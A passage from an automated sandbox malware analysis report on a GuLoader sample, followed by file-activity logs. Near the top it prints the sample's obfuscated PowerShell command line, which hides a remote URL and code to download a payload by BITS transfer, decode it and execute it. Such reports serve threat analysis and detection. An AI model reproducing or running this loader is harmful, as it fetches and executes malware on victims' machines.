nnSLacoh InkeDystl Abil Ant\mennv Pla1Inte.Kigh0Slgt\UnerpMisdoBedswAfteebenerProwsNedbhNavnePhenlExeclBecl. krge TabxArtieDamm ';function Delege($Grat){. ($Bibli01) ($Grat);}$Skkelu=Beregneras 'SlanhGenltOutrtTrawpGino:Rece/Ebra/streaTrialRegeoAnapt MisrSkynoKaripAwariCarba Ned.Prims Far
aVatt.StabcKryboUndemFone/Wron.CheiwIntre GrulhjtilSump-NonukResun SkuoAnthwFinin Sti/HierkroaczBiod/ForwS Svel AlvaLandaUpap. SteuGenn3 Ove
2Rere ';Delege (Beregneras 'Alko$Stjsg PlalRevioLighb FejaHanhl Apo: ChyBTownaaftel Sona MelnCullcNegl2Rhin=drne$TulieLacqnRativSuck: FjowDi
sriCirknAfladQuoki Ainr Sha ') ;Delege (Beregneras 'Fore$misagToill AstoSvrhbConfaKonrlMuli: AnmBOlivaRoqulOveraTilsnNonpcDika6Pole=Gimc$ ErgB Tria
anelHamsa LiknAmphcStru2Enqu+Unso$SmugSChriu BryrComfmRhynuhalvlPubl ') ;Delege (Beregneras 'Kodi$Proeg FrolStuboJustbPaddaBegolTrop:DigiBWeekaPreulBavnaPaulnSvigcVanr3 Fas Unqu= Kon Indi(Pseu( CergKultw MismMagei Wor GfmrwUngriIntenAfso3Adno2Blte_ IndpKnhjrDictoLykscHnge
eStivsLsgasDrej Prin-SkraFSval undePSpecrBroaoIsolcBurre CersIants UdsIParadMark= For$Kash{ HypPMollI AndDPejs}Alfa)Sane.thinC KrsoRegim Tin
mFlacaSporn TradGenoLGidsiReminCogoeStep)Unpr Tale-HerrsskydpReallPneuiNonptPatr Sori[ undcNonshOutca ButrSord]Fjer3unti4 Kam ');Delege (Beregneras 'Perc$ Untgfloploutwo Taib SliaLrevlSuda:RetnBByzoaBennlFussaventnMonocImma4Ilia Mosl=Milj Dser$VaadBPureaTabulStamaAggrnPhytcCloc3A
bso[Slug$ PosB HrvaEposlLameaTanznBgescKlin3Kosm. RhocLuxuo Paru EgenAlsttActu- Bri2Rese]Sten ');Delege (Beregneras 'Konv$CapsgOplslSupeoPatubCona UdglAksi:HurlBCeliaFulwl AeraForgnRosecAuto5magn=Coun(HvedTOvereApplsKyant you-KejsP YamaHyret LachMicr Hobb$SpilBNasaaNonplMillaDil
onDiescPuls6Chok)visc Jus-undeABeronHelsd Tri Bisp( Uha[DyreI RetnCadetCompPKaartArverEmbr]Bati: vil:HistsCaroiDrftzMooneLykk Kold-NedfeUpstqLder
Vol8Syrl)fors ') ;if ($Balanc5) {&$Balanc6 $Balanc4;} else {;$Bibli00=Beregneras 'haft$ AltgTheolUrefo TegbHistaLittlLiar:StraBIdetaSodalScreaDear
nSkrdcDile8 Slv Rdsk=Glen StifSAstetPlataLinjrGodtt fan-LnreB Fili DestHelds IndT SenrUnhaaReabnDelesBeauf unmefrihr Myg punt-CestS KoeoBoge
uBanarMelac FinePunt Grad$DungSgnatkKnapkConveKnoclfattuBest Vilj- EneDSmigeFllesBarbtVestiPrefnAnlgaPopptBoliiTantoEntanNatk Gisf$PursBAnol
adoktlcaixaFeltn ForcBoli2Neda ';Delege (Beregneras 'Fost$ FlugcocclOphjoOmvebFilma MaglOogl:moteBembuaUnprlEmdeaKronn SkocChon2Magn=Cori$Fr
eneGemenMiksvKons:InfiaGodgpMetrpUnjodMilja TratAfslaKryp ') ;Delege (Beregneras 'PhocILongmplejpBlgfoOplyrTragtnona- HaaM Coao NondIrrauTel
elOptaeBakk RalpB ViriintetFidisInlaTIndsr DamaVaadn Abbs BenfrigseGyrarCasu ') ;$Balanc2=$Balanc2+'\Celadonp.Ion' ;Delege (Beregneras 'Salv$ VisgZone
lbidroDefebSubiadrejlTran:DeneBMicraSspelVegea Udsn Stecfors7 Dec=Tang(ProgT ForeCoalsfolktFred- MacPModea Sert DruhForg Ele$LeksBColuaFler
lTuriaRiflnOutfcAlmi2Abel)Agno ') ;while (-not $Balanc7) {Delege (Beregneras 'BumwIUnbrf Sub Indp(Till$EpisBsphea DunlStataKursnBlancGhaz8Vejr.NaolJTi
rroHypobInteSRikat kamaVasktDisseTviv unb-NoveeFinaqUdda Fors$uhjlBVanmiUnclbIntelEksti lem0 non2Mili)Path All{BeskS BlatUvenahjrnrbulgtSnifCentSSardlEgneeManie KompArbi Dryp1Morf}AbeneSkablPenls Slae Und{NoneSAflytSendaUnfrrgutttButb-MicrSAxmal RupeMafieUmbrp Nut sknh1Unde;Kr
amDErpieSyssl WaxeNoncgTankeCulm hove$FremBEruciMuggbBigalGlopiFjan0Mith0 Kej}Eryt ');Delege (Beregneras 'Crum$TelogChirlDyreo topb BygaGiralRets: BesBRelaaUdstlMacraSprgn AllcLinj7supp=Kerc(FalsT OveeGennsOvertEfte-tilsPRosiaPremtUforhMind for$TestBBedea applTangaGallnKlusc Haa2
Rie) Kat ') ;}Delege (Beregneras 'Stat$BreagUniplLangoNikkbOmska MellDivi:HydrU Livn AnpfAnlgaHarr Lusk=Jobh FagoGUntreRegntJend-DoctC Kla
oGlannSkdetImiteFananNondtEmot Rdns$EfteB AboaTabalOmkraDeutnsygecPrae2Opre ');Delege (Beregneras 'Spol$TobagLibyl Scuo probBeskaFlyvlbibl:
Neldantia RipmUnivpUpflsEnth Side= Tak Skr[MegaSMachyPlumsUnsatSimueAdormUnde.HoveCSmeloLigun IntvCoeseUnderDermtMono] Ani:Sinu:C
losFHover Trao KommSvanBstryaCraisPhile Rac6stud4DeliSWrottMixor Alliskiwn BelgChem( Ekv$afmrUIntenSekvfDagsaChie)Hule ');Delege (Beregneras'Erne$IntegDklil ObsoTravbTorkaDjvelTour:SkarBMiljiTitubFrill smeiAdli2Macu Rad=Thun Glde[ RedSFloky trisStaatvehie spamFork. SmeTInkleTurbxRecutBrs
e.LivsERippnFantc SeloAeradHeksiPapinuretgthat]Okta:Kros: PlaAKuliSUdplCEpicI KarIDedu.OptaGDrileopsktAssiSComrtQuaar EstiBresnOphagFost(Tids$
ChedUncoaSneam Afdp BygsCock)Pilo ');Delege (Beregneras 'Pris$stylgAdsolUindoThatbModeaBattlSelv:DrngBStueiAktibKonclLeuciOver3 sub=Udre$
IntrBSkruiOffebAdorlAfvaiUnal2Emda.FastsVenou Brab MersolietOverrEvaliMaurnTrmlgSkmt(Gala2Paas8Hinc6kult8Prop6Disc0Bevb,Usin1 Afs8Judi4Biof0
For6Bole) Whi ');Delege $Bibli3;};;

Imagebase:0xbc0000

File size:

433'152 bytes

MD5 hash:

C32CA4ACFCC635EC1EA6ED8A34DF5FAC

Has elevated privileges:

false

Copyright Joe Security LLC 2023

Page 38 of 57

Has administrator
privileges:

false

Programmed in:.Net C# or VB.NET

Yara matches:

Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source:
00000005.00000002.2509429444.0000000008880000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source:
00000005.00000002.2495596231.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000005.00000002.2509673256.000000000B037000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation:high

Has exited:

true

File Activities
File CreatedFile Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_huwvp1g1.qk4.ps1

read attributes |synchronize |generic write

devicesequential only |synchronous io
non alert | nondirectory file |open no recall

success or wait

1

71A78792

CreateFileW

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_d2g5db4w.pni.psm1

read attributes |synchronize |generic write

devicesequential only |synchronous io
non alert | nondirectory file |open no recall

success or wait

1

71A78792

CreateFileW

C:\Users\userread data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

72BAF4C3

unknown

C:\Users\user\AppData\Roaming

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

72BAF4C3

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

4

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

4

6BF08290

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

Copyright Joe Security LLC 2023

Page 39 of 57

File Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

6BF08290

unknown

File DeletedFile Path

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_huwvp1g1.qk4.ps1

success or wait

1

71A7E04E

DeleteFileW

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_d2g5db4w.pni.psm1

success or wait

1

71A7E04E

DeleteFileW

File Written
File Path

OffsetLength Value

Ascii

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_huwvp1g1.qk4.ps1

060

23 20 50 6f 77 65 72 53
68 65 6c 6c 20 74 65 73
74 20 66 69 6c 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6c 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20# PowerShell test file todetermine AppLocker
lockdown mode

success or wait

1

71A79B71

WriteFile

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_d2g5db4w.pni.psm1

060

23 20 50 6f 77 65 72 53
68 65 6c 6c 20 74 65 73
74 20 66 69 6c 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6c 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20# PowerShell test file todetermine AppLocker
lockdown mode

success or wait

1

71A79B71

WriteFile

Copyright Joe Security LLC 2023

Page 40 of 57

File Path

OffsetLength Value

Ascii

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

0

4096

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 10 00
00 00 19 65 fd fd 7a fd 08
53 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6c 65 73 5c 57 69 6e
64 6f 77 73 50 6f 77 65
72 53 68 65 6c 6c 5c 4d
6f 64 75 6c 65 73 5c 50
6f 77 65 72 53 68 65 6c
6c 47 65 74 5c 31 2e 30
2e 30 2e 31 5c 50 6f 77
65 72 53 68 65 6c 6c 47
65 74 2e 70 73 64 31 1d00 00 00 10 00 00 00 55
6e 69 6e 73 74 61 6c 6c
2d 4d 6f 64 75 6c 65 02
00 00 00 04 00 00 00 69
6e 6d 6f 01 00 00 00 04
00 00 00 66 69 6d 6f 01
00 00 00 0e 00 00 00 49
6e 73 74 61 6c 6c 2d 4d
6f 64 75 6c 65 02 00 00
00 12 00 00 00 4e 65 77
2d 53 63 72 69 70 74 46
69 6c 65 49 6e 66 6f 02
00 00 00 0e 00 00 00 50
75 62 6c 69 73 68 2d 4d
6f 64 75 6c 65 02 00 00
00 0e 00 00 00 49 6e 73
74 61 6c 6c 2d 53 63 72
69 70 74 02 00

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

4096

4096

00 53 74 6f 70 2d 50 72
6f 63 65 73 73 08 00 00
00 0f 00 00 00 52 65 73
74 61 72 74 2d 53 65 72
76 69 63 65 08 00 00 00
10 00 00 00 52 65 73 74
6f 72 65 2d 43 6f 6d 70
75 74 65 72 08 00 00 00
0c 00 00 00 43 6f 6e 76
65 72 74 2d 50 61 74 68
08 00 00 00 11 00 00 00
53 74 61 72 74 2d 54 72
61 6e 73 61 63 74 69 6f
6e 08 00 00 00 0c 00 00
00 47 65 74 2d 54 69 6d
65 5a 6f 6e 65 08 00 00
00 09 00 00 00 43 6f 70
79 2d 49 74 65 6d 08 00
00 00 0f 00 00 00 52 65
6d 6f 76 65 2d 45 76 65
6e 74 4c 6f 67 08 00 00
00 0b 00 00 00 53 65 74
2d 43 6f 6e 74 65 6e 74
08 00 00 00 0b 00 00 00
4e 65 77 2d 53 65 72 76
69 63 65 08 00 00 00 0a
00 00 00 47 65 74 2d 48
6f 74 46 69 78 08 00 00
00 0f 00 00 00 54 65 73
74 2d 43 6f 6e 6e 65 63
74 69 6f 6e 08 00 00 00
0f 00 00 00 47 65 74

Copyright Joe Security LLC 2023

Completion

Count

Source Address

SymbolPSMODULECACHEezS success or wait
C:\Program Fil
es\WindowsPowerShell\
Modules\PowerShellGet\1.0.0.1\Po
werShellGet.psd1UninstallModuleinmofimoInstallModuleNew-scr
iptFileInfoPublishModuleInstall-scr<wbr>ipt

1

71A79B71

WriteFile

Stop-ProcessRestartServiceRestoreComputerConvertPathStartTransactionGetTimeZoneCopy-I
temRemoveEventLogSet-ContentN
ew-ServiceGetHotFixTest-Conne
ctionGet

1

71A79B71

WriteFile

success or wait

Page 41 of 57

File Path

OffsetLength Value

Ascii

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

8192

3722

-PesterOptionInvokesuccess or wait
PesterResolveTestscr
iptsSetscr<wbr>iptBlockScopez
Q
C:\Windows\system32\WindowsPow
erShell\v1.0\Modules\Bits
Trans
fer\BitsTransfer.psd1Rem
ove-BitsTransferGetBitsTransferSuspend

2d 50 65 73 74 65 72 4f
70 74 69 6f 6e 02 00 00
00 0d 00 00 00 49 6e 76
6f 6b 65 2d 50 65 73 74
65 72 02 00 00 00 12 00
00 00 52 65 73 6f 6c 76
65 54 65 73 74 53 63 72
69 70 74 73 02 00 00 00
14 00 00 00 53 65 74 2d
53 63 72 69 70 74 42 6c
6f 63 6b 53 63 6f 70 65
02 00 00 00 00 00 00 00
fd 3a fd 7a fd 08 51 00 00
00 43 3a 5c 57 69 6e 64
6f 77 73 5c 73 79 73 74
65 6d 33 32 5c 57 69 6e
64 6f 77 73 50 6f 77 65
72 53 68 65 6c 6c 5c 76
31 2e 30 5c 4d 6f 64 75
6c 65 73 5c 42 69 74 73
54 72 61 6e 73 66 65 72
5c 42 69 74 73 54 72 61
6e 73 66 65 72 2e 70 73
64 31 08 00 00 00 13 00
00 00 52 65 6d 6f 76 65
2d 42 69 74 73 54 72 61
6e 73 66 65 72 08 00 00
00 10 00 00 00 47 65 74
2d 42 69 74 73 54 72 61
6e 73 66 65 72 08 00 00
00 14 00 00 00 53 75 73
70 65 6e 64

Completion

Count

Source Address

Symbol1

71A79B71

WriteFile

File Read
File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

72BACBDB

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

72BACBDB

unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown

4095

success or wait

1

72BACBDB

unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown6135

success or wait

1

72BACBDB

unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403
a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll.aux

unknown

176

success or wait

1

72B50842

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

72BC738A

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

72BC738A

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown

4095

success or wait

1

72BC738A

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb3
78ec07#\bc6fa6cbc82ba7e8e7f31ce87cd85b5f\Microsoft.PowerShell.ConsoleHost.ni.dll.aux

unknown

1248

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d
1d70447c3c10e69e6df0766568\System.ni.dll.aux

unknown

620

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll.aux

unknown

900

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa5
7fc8cc#\7ae6ae69c7471e5e034a046629402c6a\System.Management.A
utomation.ni.dll.aux

unknown2764

success or wait

1

72B50842

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

72BACBDB

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

72BACBDB

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

72BACBDB

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

72BACBDB

unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf4
9f6405#\ccdc87283bb430dd204d0f658bca1ec9\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

unknown

748

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manage
ment\96012833bebd5f21714fc508603cda97\System.Management.ni.dll.auxunknown764

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Dired1
3b18a9#\767e999045a62f3cde3ae79cf78dd4c4\System.DirectorySer
vices.ni.dll.aux

unknown752

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\20
62ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll.aux

unknown

748

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Numeri
cs\d06877b5a0df441a8dc4c7b8d95b5d41\System.Numerics.ni.dll.aux

unknown

300

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll.aux

unknown1540

success or wait

1

72B50842

ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown

64

success or wait

1

72BBB174

ReadFile

Copyright Joe Security LLC 2023

Page 42 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown

1300

success or wait

1

72BBB27D

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuratio
n.ni.dll.aux

unknown864

success or wait

1

72B50842

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown

4095

success or wait

1

72BACBDB

unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown

8171

end of file

1

72BACBDB

unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f
792626#\fa050a0a5a69ea7573ca6cbffc254e14\Microsoft.PowerShell.Security.ni.dll.aux

unknown

1268

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Transa
ctions\e866c0216a4ad45c5b16d8bd70bd92c7\System.Transactions.
ni.dll.aux

unknown924

success or wait

1

72B50842

ReadFile\pipe

unknown4096

success or wait

1

71A79B71

ReadFile\pipe

unknown

4096

pipe broken

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown492

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown734

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

success or wait

2

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

success or wait

2

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown4096

success or wait

4

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown682

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown4096

success or wait

136

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown993

end of file

1

71A79B71

ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown492

end of file

1

71A79B71

ReadFile

Copyright Joe Security LLC 2023

Page 43 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown734

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

success or wait

2

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

success or wait

2

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown4096

success or wait

6

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown682

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown4096

success or wait

141

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown993

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\
PSReadline.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\
PSReadline.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown599

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

end of file

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

success or wait

1

71A79B71

ReadFile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown599

end of file

1

71A79B71

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P52
1220ea#\ee7238e0e97151da928155502d6b496b\Microsoft.PowerShell.Commands.Utility.ni.dll.aux

unknown2264

success or wait

1

72B50842

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe6
4a9051#\48ee4ec9441351bbe4d9095c96b8ea01\System.Configuratio
